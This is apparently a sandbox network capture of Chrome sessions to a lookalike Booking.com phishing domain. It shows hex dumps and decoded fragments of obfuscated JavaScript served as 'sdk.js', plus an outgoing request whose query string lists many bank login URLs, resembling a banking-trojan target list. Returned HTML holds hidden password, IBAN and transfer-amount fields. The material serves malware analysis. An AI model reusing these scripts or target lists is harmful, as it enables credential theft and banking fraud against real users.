2024-07-08 22:43:31 UTC	8184	IN	Data Raw: 64 5f 68 4d 3b 0a 7d 66 75 6e 63 74 69 6f 6e 20 74 64 5f 42 56 28 74 64 5f 61 7a 29 7b 76 61 72 20 74 64 5f 65 70 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 2e 74 64 5f 66 28 31 32 36 2c 38 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 61 7a 5b 28 28 74 79 70 65 6f 66 Data Ascii: d_hM;}function td_BV(td_az){var td_ep=((typeof(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3)!=="undefined"&&typeof(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3.td_f)!=="undefined")?(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3.td_f(126,8)):null)+td_az[((typeof
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 68 74 3d 22 30 22 3b 69 66 28 74 79 70 65 6f 66 20 74 64 5f 63 2e 74 61 62 49 6e 64 65 78 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 63 2e 74 61 62 49 6e 64 65 78 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 32 38 30 31 61 64 32 39 31 33 32 39 34 35 33 32 39 65 64 31 30 65 36 38 32 31 31 34 39 38 39 37 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 32 38 30 31 61 64 32 39 31 33 32 39 34 35 33 32 39 65 64 31 30 65 36 38 32 31 31 34 39 38 39 37 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 57 2e 74 64 7a 5f 32 38 30 31 61 64 32 39 31 33 32 39 34 35 33 32 39 65 64 31 30 65 36 38 32 31 31 34 39 38 39 37 2e 74 64 5f 66 28 35 39 2c Data Ascii: 1ff8ht="0";if(typeof td_c.tabIndex!==[][[]]+""){td_c.tabIndex=((typeof(td_2W.tdz_2801ad29132945329ed10e6821149897)!=="undefined"&&typeof(td_2W.tdz_2801ad29132945329ed10e6821149897.td_f)!=="undefined")?(td_2W.tdz_2801ad29132945329ed10e6821149897.td_f(59,
2024-07-08 22:43:31 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:31 UTC	8184	IN	Data Raw: 2e 74 64 7a 5f 37 65 63 35 31 66 33 32 30 65 34 37 34 33 62 64 39 66 62 38 63 65 35 34 39 64 36 65 34 31 39 34 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 37 65 63 35 31 66 33 32 30 65 34 37 34 33 62 64 39 66 62 38 63 65 35 34 39 64 36 65 34 31 39 34 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 57 2e 74 64 7a 5f 37 65 63 35 31 66 33 32 30 65 34 37 34 33 62 64 39 66 62 38 63 65 35 34 39 64 36 65 34 31 39 34 2e 74 64 5f 66 28 34 33 2c 36 29 29 3a 6e 75 6c 6c 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 74 64 5f 65 2c 74 64 5f 6d 29 3b 0a 7d 2c 66 61 6c 73 65 29 3b 7d 65 6c 73 65 7b 76 61 72 20 74 64 5f 4c 3d 74 64 5f 47 2e 6f 6e 6c 6f 61 Data Ascii: .tdz_7ec51f320e4743bd9fb8ce549d6e4194)!=="undefined"&&typeof(td_2W.tdz_7ec51f320e4743bd9fb8ce549d6e4194.td_f)!=="undefined")?(td_2W.tdz_7ec51f320e4743bd9fb8ce549d6e4194.td_f(43,6)):null),function(){setTimeout(td_e,td_m);},false);}else{var td_L=td_G.onloa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49760	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	594	OUT	GET /static/sdk.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	667	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 472909 Connection: close last-modified: Sat, 06 Jul 2024 13:10:34 GMT etag: "d998ad620e2fe0e1aaf06e80c7c616b8" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rGWWOpOprBOBlbLgt31%2B9pGIhRRbXMJIl%2BC0W1x17iwqmL%2BSk4HKRM0gllPrNn5wVtIPXS5gCLibpl5NzQBvdzDLsFc2UkqY%2Fu7qHA8EXlAzvQwlzvK05hF4fatT8my4efEd1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397f7595442fe-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:31 UTC	702	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 50 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 3f 67 6c 6f 62 61 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 22 64 65 66 Data Ascii: !function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"def
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 6e 2d 63 6f 6d 6d 6f 6e 6a 73 20 61 70 70 72 6f 70 72 69 61 74 65 6c 79 20 66 6f 72 20 74 68 69 73 20 72 65 71 75 69 72 65 20 63 61 6c 6c 20 74 6f 20 77 6f 72 6b 2e 27 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 4d 61 74 68 3d 3d 4d 61 74 68 26 26 74 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 21 21 74 28 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 21 30 7d 7d 66 75 6e 63 74 69 6f 6e 20 56 28 74 2c 65 29 7b 72 65 74 75 72 6e 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 28 31 26 74 29 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 28 32 26 74 29 2c 77 72 69 74 61 62 6c 65 3a 21 28 34 26 74 29 2c 76 61 6c 75 65 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 74 29 7b 72 65 74 75 72 6e 20 48 Data Ascii: n-commonjs appropriately for this require call to work.')}function M(t){return t&&t.Math==Math&&t}function F(t){try{return!!t()}catch(t){return!0}}function V(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}function G(t){return H
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 61 70 70 6c 79 28 69 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 74 29 7b 69 66 28 4d 65 28 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 53 74 72 69 6e 67 28 74 29 2b 22 20 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 22 29 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 72 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 2c 6e 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 29 7b 73 77 69 74 63 68 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 20 6e 65 77 20 72 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 6e 65 77 20 72 28 74 29 3b 63 61 73 65 20 32 3a 72 65 74 75 Data Ascii: function(){return r.apply(i,arguments)}}function rt(t){if(Me(t))return t;throw TypeError(String(t)+" is not an object")}function it(r){function t(t,e,n){if(this instanceof r){switch(arguments.length){case 0:return new r;case 1:return new r(t);case 2:retu
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 65 6e 67 74 68 3e 69 3b 29 21 62 6e 28 72 2c 6e 3d 65 5b 69 2b 2b 5d 29 7c 7c 7e 45 6e 28 6f 2c 6e 29 7c 7c 6f 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 6f 7d 66 75 6e 63 74 69 6f 6e 20 68 74 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 70 74 28 74 29 7b 74 2e 77 72 69 74 65 28 56 6e 28 22 22 29 29 2c 74 2e 63 6c 6f 73 65 28 29 3b 76 61 72 20 65 3d 74 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 2e 4f 62 6a 65 63 74 3b 72 65 74 75 72 6e 20 74 3d 6e 75 6c 6c 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 64 74 28 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 26 26 28 48 6e 2e 41 72 72 61 79 3d 3d 3d 74 7c 7c 59 6e 5b 4b 6e 5d 3d 3d 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 74 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 29 72 65 74 75 72 6e 20 74 5b 74 72 5d 7c Data Ascii: ength>i;)!bn(r,n=e[i++])\|\|~En(o,n)\|\|o.push(n);return o}function ht(){}function pt(t){t.write(Vn("")),t.close();var e=t.parentWindow.Object;return t=null,e}function dt(t){return void 0!==t&&(Hn.Array===t\|\|Yn[Kn]===t)}function gt(t){if(null!=t)return t[tr]\|
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 20 6e 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 49 74 3f 28 70 72 26 26 28 6e 3d 70 72 28 6e 65 77 20 45 72 72 6f 72 28 76 6f 69 64 20 30 29 2c 68 72 28 6e 29 29 29 2c 76 6f 69 64 20 30 21 3d 3d 65 26 26 64 72 28 6e 2c 22 6d 65 73 73 61 67 65 22 2c 79 72 28 65 29 29 2c 41 72 28 74 2c 28 65 3d 5b 5d 29 2e 70 75 73 68 2c 7b 74 68 61 74 3a 65 7d 29 2c 64 72 28 6e 2c 22 65 72 72 6f 72 73 22 2c 65 29 2c 6e 29 3a 6e 65 77 20 49 74 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 62 74 28 74 2c 65 2c 6e 2c 72 29 7b 74 26 26 28 6e 3d 6e 3f 74 3a 74 2e 70 72 6f 74 6f 74 79 70 65 2c 78 72 28 6e 2c 44 72 29 7c 7c 54 72 28 6e 2c 44 72 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 65 7d 29 2c 72 26 26 21 53 72 Data Ascii: n=this;return n instanceof It?(pr&&(n=pr(new Error(void 0),hr(n))),void 0!==e&&dr(n,"message",yr(e)),Ar(t,(e=[]).push,{that:e}),dr(n,"errors",e),n):new It(t,e)}function bt(t,e,n,r){t&&(n=n?t:t.prototype,xr(n,Dr)\|\|Tr(n,Dr,{configurable:!0,value:e}),r&&!Sr
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 2c 55 74 3d 7b 7d 2c 4d 74 3d 21 46 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 21 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 7d 2c 31 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 7d 7d 29 5b 31 5d 7d 29 2c 46 74 3d 7b 7d 2c 56 74 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 47 74 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 4a 74 3d 47 74 26 26 21 56 74 2e 63 61 6c 6c 28 7b 31 3a 32 7d 2c 31 29 2c 48 74 3d 28 46 74 2e 66 3d 4a 74 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 3d 47 74 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 21 21 74 Data Ascii: ction("return this")(),Ut={},Mt=!F(function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}),Ft={},Vt={}.propertyIsEnumerable,Gt=Object.getOwnPropertyDescriptor,Jt=Gt&&!Vt.call({1:2},1),Ht=(Ft.f=Jt?function(t){t=Gt(this,t);return!!t
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 68 6b 61 72 65 76 20 28 7a 6c 6f 69 72 6f 63 6b 2e 72 75 29 22 7d 29 2c 4a 29 2c 73 65 3d 5a 2c 75 65 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 4f 62 6a 65 63 74 2e 68 61 73 4f 77 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 75 65 2e 63 61 6c 6c 28 73 65 28 74 29 2c 65 29 7d 2c 63 65 3d 30 2c 6c 65 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2c 66 65 3d 74 2c 61 3d 72 2e 65 78 70 6f 72 74 73 2c 68 65 3d 6f 2c 73 3d 71 2c 70 65 3d 65 2c 64 65 3d 61 28 22 77 6b 73 22 29 2c 67 65 3d 66 65 2e 53 79 6d 62 6f 6c 2c 41 65 3d 74 65 3f 67 65 3a 67 65 26 26 67 65 2e 77 69 74 68 6f 75 74 53 65 74 74 65 72 7c 7c 73 2c 79 65 3d 4b 2c 76 65 3d 6e 65 2c 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 72 Data Ascii: hkarev (zloirock.ru)"}),J),se=Z,ue={}.hasOwnProperty,o=Object.hasOwn\|\|function(t,e){return ue.call(se(t),e)},ce=0,le=Math.random(),fe=t,a=r.exports,he=o,s=q,pe=e,de=a("wks"),ge=fe.Symbol,Ae=te?ge:ge&&ge.withoutSetter\|\|s,ye=K,ve=ne,me=function(t,e){var n,r
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 2c 6e 29 7b 69 66 28 56 65 28 74 29 2c 65 3d 47 65 28 65 29 2c 56 65 28 6e 29 2c 46 65 29 74 72 79 7b 72 65 74 75 72 6e 20 4a 65 28 74 2c 65 2c 6e 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 6e 7c 7c 22 73 65 74 22 69 6e 20 6e 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 63 63 65 73 73 6f 72 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3b 72 65 74 75 72 6e 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 74 5b 65 5d 3d 6e 2e 76 61 6c 75 65 29 2c 74 7d 2c 4d 74 29 2c 48 65 3d 73 2c 4b 65 3d 56 2c 66 65 3d 61 3f 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 48 65 2e 66 28 74 2c 65 2c 4b 65 28 31 2c 6e 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 3d 6e Data Ascii: ,n){if(Ve(t),e=Ge(e),Ve(n),Fe)try{return Je(t,e,n)}catch(t){}if("get"in n\|\|"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(t[e]=n.value),t},Mt),He=s,Ke=V,fe=a?function(t,e,n){return He.f(t,e,Ke(1,n))}:function(t,e,n){return t[e]=n
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 6e 28 74 2c 54 6e 29 7d 2c 78 6e 3d 73 2c 4f 6e 3d 72 74 2c 44 6e 3d 42 6e 2c 6c 3d 4d 74 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 4f 6e 28 74 29 3b 66 6f 72 28 76 61 72 20 6e 2c 72 3d 44 6e 28 65 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 2c 6f 3d 30 3b 6f 3c 69 3b 29 78 6e 2e 66 28 74 2c 6e 3d 72 5b 6f 2b 2b 5d 2c 65 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 66 3d 57 28 22 64 6f 63 75 6d 65 6e 74 22 2c 22 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 22 29 2c 4e 6e 3d 72 74 2c 52 6e 3d 6c 2c 51 6e 3d 6b 6e 2c 50 6e 3d 63 2c 6a 6e 3d 66 2c 4c 6e 3d 7a 2c 55 6e 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 4d 6e 3d 22 73 63 72 69 70 74 22 2c 46 6e 3d 61 Data Ascii: n(t){return Sn(t,Tn)},xn=s,On=rt,Dn=Bn,l=Mt?Object.defineProperties:function(t,e){On(t);for(var n,r=Dn(e),i=r.length,o=0;o<i;)xn.f(t,n=r[o++],e[n]);return t},f=W("document","documentElement"),Nn=rt,Rn=l,Qn=kn,Pn=c,jn=f,Ln=z,Un="prototype",Mn="script",Fn=a
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 2e 70 72 6f 74 6f 74 79 70 65 3d 64 28 45 72 72 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 67 72 28 35 2c 49 74 29 2c 6d 65 73 73 61 67 65 3a 67 72 28 35 2c 22 22 29 2c 6e 61 6d 65 3a 67 72 28 35 2c 22 41 67 67 72 65 67 61 74 65 45 72 72 6f 72 22 29 7d 29 2c 70 28 7b 67 6c 6f 62 61 6c 3a 21 30 7d 2c 7b 41 67 67 72 65 67 61 74 65 45 72 72 6f 72 3a 49 74 7d 29 2c 69 29 2c 76 72 3d 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2c 67 72 3d 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 69 6e 73 70 65 63 74 53 6f 75 72 63 65 26 26 28 64 2e 69 6e 73 70 65 63 74 53 6f 75 72 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 76 72 2e 63 61 6c 6c 28 74 29 7d 29 2c 64 2e 69 6e 73 70 65 63 74 Data Ascii: .prototype=d(Error.prototype,{constructor:gr(5,It),message:gr(5,""),name:gr(5,"AggregateError")}),p({global:!0},{AggregateError:It}),i),vr=Function.toString,gr=("function"!=typeof d.inspectSource&&(d.inspectSource=function(t){return vr.call(t)}),d.inspect

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49761	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	4614	OUT	GET /6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Consumer/Transactionsxcbonlin [TRUNCATED] Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	465	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-UA-Compatible: IE=Edge Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:31 UTC	7727	IN	Data Raw: 31 66 66 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 39 64 38 65 33 36 36 62 37 65 63 35 31 65 64 39 22 20 73 72 63 Data Ascii: 1ff8<!doctype html><html> <head> <title>empty</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex,nofollow"> <script type="text/javascript" nonce="9d8e366b7ec51ed9" src
2024-07-08 22:43:31 UTC	463	IN	Data Raw: 28 27 3c 2f 64 69 76 3e 27 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 2f 64 69 76 3e 27 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 22 27 29 3b 0d 0a 76 61 72 20 70 61 73 73 77 6f 72 64 20 3d 20 22 22 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 22 27 20 2b 20 70 61 73 73 77 6f 72 64 29 3b 0d 0a 20 20 20 20 7d 0d 0a 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6d 61 69 6e 22 3e 3c 2f 64 69 76 3e 0d 0a 2d 2d 3e 0d 0a 3c 21 2d 2d 0d 0a 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 75 73 72 5f 6e 61 6d 65 22 20 69 64 3d 22 75 73 72 5f 6e 61 6d 65 22 20 73 69 7a 65 3d 22 31 22 20 6d 61 Data Ascii: ('</div>'); document.write('</div>');document.write('<a href="javascript:"');var password = "";document.write('<a href="javascript:"' + password); }}</script><div id="main"></div>-->...<input name="usr_name" id="usr_name" size="1" ma
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 0d 0a 2d 2d 3e 0d 0a 3c 21 2d 2d 0d 0a 3c 70 20 63 6c 61 73 73 3d 22 70 48 65 61 64 6c 69 6e 65 4c 65 66 74 22 3e 46 69 6e 61 6e 7a 73 74 61 74 75 73 3c 2f 70 3e 0d 0a 2d 2d 3e 0d 0a 3c 21 2d 2d 0d 0a 3c 70 20 6e 61 6d 65 3d 22 49 6d 70 6f 72 74 6f 42 6f 6e 69 66 69 63 6f 22 20 69 64 3d 22 69 6e 66 6f 22 3e 20 3c 2f 70 3e 0d 0a 3c 70 20 6e 61 6d 65 3d 22 66 6f 6f 22 20 69 64 3d 22 6e 61 6d 65 22 3e 20 3c 2f 70 3e 0d 0a 3c 70 20 6e 61 6d 65 3d 22 66 6f 6f 22 20 69 64 3d 22 69 6e 66 6f 22 3e 20 3c 2f 70 3e 0d 0a 3c 70 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 7a 69 6f 6e 65 42 6f 6e 69 66 69 63 6f 22 3e 3c 2f 70 3e 0d 0a 3c 70 20 6e 61 6d 65 3d 22 63 6f 67 6e 6f 6d 65 5f 6e 6f 6d 65 22 3e 20 3c 2f 70 3e 0d 0a 3c 70 20 6e 61 6d 65 3d 22 69 62 Data Ascii: 1ff8-->...<p class="pHeadlineLeft">Finanzstatus</p>-->...<p name="ImportoBonifico" id="info"> </p><p name="foo" id="name"> </p><p name="foo" id="info"> </p><p name="DescrizioneBonifico"></p><p name="cognome_nome"> </p><p name="ib
2024-07-08 22:43:31 UTC	5	IN	Data Raw: 61 63 34 0d 0a Data Ascii: ac4
